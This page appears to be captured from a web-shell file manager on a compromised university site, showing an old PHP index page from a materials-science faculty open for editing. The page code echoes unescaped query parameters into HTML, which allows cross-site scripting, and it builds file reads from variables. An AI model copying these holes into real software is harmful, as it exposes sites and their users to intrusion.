BossBey File Manager
PHP:
7.3.31-1~deb10u1
OS:
Linux
User:
www-data
Root
/
home
/
www
/
inorg
/
coord_old
📤 Upload
рџ“ќ New File
рџ“Ѓ New Folder
Close
Editing: index_old.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <?php define ('head',1); include_once("db_connect_incl.php"); include_once("auth_incl.php"); include_once("settings_incl.php"); $topic=$_GET['topic']; ?> <html> <head> <title>Факультет Наук о Материалах</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <link href="stylesheet.css" rel="stylesheet" type="text/css"> <script language="JavaScript"> <?php echo (" function expand() { document.all.auth.innerHTML=\" <table width=200 height=60 align=center style=\\\"position: absolute; right: 30; top: 10;\\\" bgcolor=000000 cellspacing=1><tr id=auth_color bgcolor=ffffff onmouseover='document.all.auth_color.bgColor=\\\"f7f7f7\\\"' onmouseout='document.all.auth_color.bgColor=\\\"ffffff\\\"'><td><form action=http://$domain/auth.php?topic=$topic&show=$show method=post><table height=60><tr height=20><td width=60>Имя:</td><td><input type=text name=user size=15></td></tr><tr height=20><td width=60>Пароль:</td><td><input type=password name=pass size=15></td></tr><tr height=20><td width=60><input type=submit value=Вход></td><td><span class=\\\"small_link\\\" style=\\\"cursor: hand;\\\" onclick=\\\"contract()\\\">Скрыть</a></td></tr></table></form></td></tr></table>\" } function contract() { document.all.auth.innerHTML=\" \" } "); ?> </script> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <div align="center" style="z-index:1"> <table id="pagebody" align="center" cellspacing="0" cellpadding="0" border="0"> <tr> <td id="col1"> <table id="tbl1" align="center" cellspacing="0" cellpadding="0" border="0"> <tr> <td id="td11"> <img src="images/index/logo.gif"><br><span class="msd">Факультет Наук<br>о Материалах</span> </td> </tr> <?php $sql_query="select * from topics order by 'order';"; $result=mysql_query($sql_query); $n=mysql_numrows($result); $h=$n*27; ?> <tr> <td id="td12" <?php echo ("style=\"height: $h;\""); ?>> <?php for ($i=0; $i<$n; $i++) { if ($i!=0) {echo("<img src=\"images/index/line195.gif\"><br>");}; $tname=mysql_result($result,$i,name); $id=mysql_result($result,$i,id); $link=mysql_result($result,$i,link); if ($topic==$id) {echo ("<span class=\"active_link\">$tname</span>");} elseif ($link=='') {echo ("<a href=\"http://$domain/main.php?topic=$id$add\">$tname</a>");} else {echo ("<a href=\"$link\">$tname</a>");}; } ?> </td> </tr> <tr> <td id="td13"> </td> </tr> </table> </td> <td id="col2"> <table id="tbl2" align="center" cellspacing="0" cellpadding="0" border="0"> <tr> <td id="td23"><?php $sql_query="select * from indexim;"; $picresult=mysql_query($sql_query); $picnum=mysql_numrows($picresult); //$t=time(); //$pic=$t%$picnum; $pic=rand(0,$picnum-1); $filename=mysql_result($picresult,$pic,filename); echo("<img src=\"images/index/pics/$filename\">"); ?></td> </tr> <tr> <td id="td21"> <table id="tbl21" align="center" cellspacing="0" cellpadding="0" border="0"> <tr> <td id="td211"> <?php if ($rez>0) { echo (" <a href=main.php?topic=100$add><img src=images/index/config.gif border=0 alt='Настройки'></a> <a href=http://$domain/phpmyadmin/><img src=images/index/login.gif border=0 alt='PHP-MyAdmin'></a> <a href=index.php><img src=images/index/logout.gif border=0 alt='Выйти'></a> "); } else { echo (" <img src=images/index/login.gif border=0 alt='Администраторская часть' onClick='expand()' style=\"cursor: hand;\"> "); } ?> </td> <td id="td212"> <?php $comment1=mysql_result($picresult,$pic,comment1); $comment2=mysql_result($picresult,$pic,comment2); echo("<span style=\"align: right; z-index: 2;\"><span style=\"font-size: 12px; color: ffffff; font-family: arial;\">$comment1</span> <span style=\"font-size: 10px; color: ffffff; font-family: arial;\">$comment2</span></span>"); ?> </td> </tr> </table> </td> </tr> <tr> <td id="td22"> <?php if (($topic!=100)&&($rez>=50)) { echo (" <a href=edit_page.php?topic=0&show=$show$add><img border=0 src=\"images/config/edit_page_fck.gif\" alt=\"Редактировать текст страницы в редакторе FCK Editor\"></a> <a href=edit_page_mce.php?topic=0&show=$show$add><img border=0 src=\"images/config/edit_page_mce.gif\" alt=\"Редактировать текст страницы в редакторе TinyMCE\"></a> <a href=edit_page_spaw.php?topic=0&show=$show$add><img border=0 src=\"images/config/edit_page_spaw.gif\" alt=\"Редактировать текст страницы в редакторе SPAW\"></a> <a href=backup_page.php?topic=0&show=$show&action=backup$add><img border=0 src=\"images/config/backup_page.gif\" alt=\"Сохранить резервную копию\"></a> "); if ((($show==0)&&(file_exists("backup_main0_incl.php")))||(($show!=0)&&(file_exists("backup_mainsub${'show'}_incl.php")))) { echo(" <a href=backup_page.php?topic=0&show=$show&action=restore$add><img border=0 src=\"images/config/restore_page.gif\" alt=\"Восстановить из резервной копии\"></a>"); }; } if ($show!="") { $f=file("mainsub${'show'}_incl.php"); } else { $f=file("main0_incl.php"); } $text=""; for ($i=0; $i < sizeof($f); $i++) { $text=$text.$f[$i]; } $pattern="/(http.+topic.+)\"/"; $replacement="\\1$add\""; echo preg_replace($pattern, $replacement, $text); ?> </td> </tr> </table> </td> <td id="col3"> </td> </tr> </table> </div> <div align="center" id="auth" style="z-index:2; position: absolute; top:150;"> </div> </body> </html>
Save
Cancel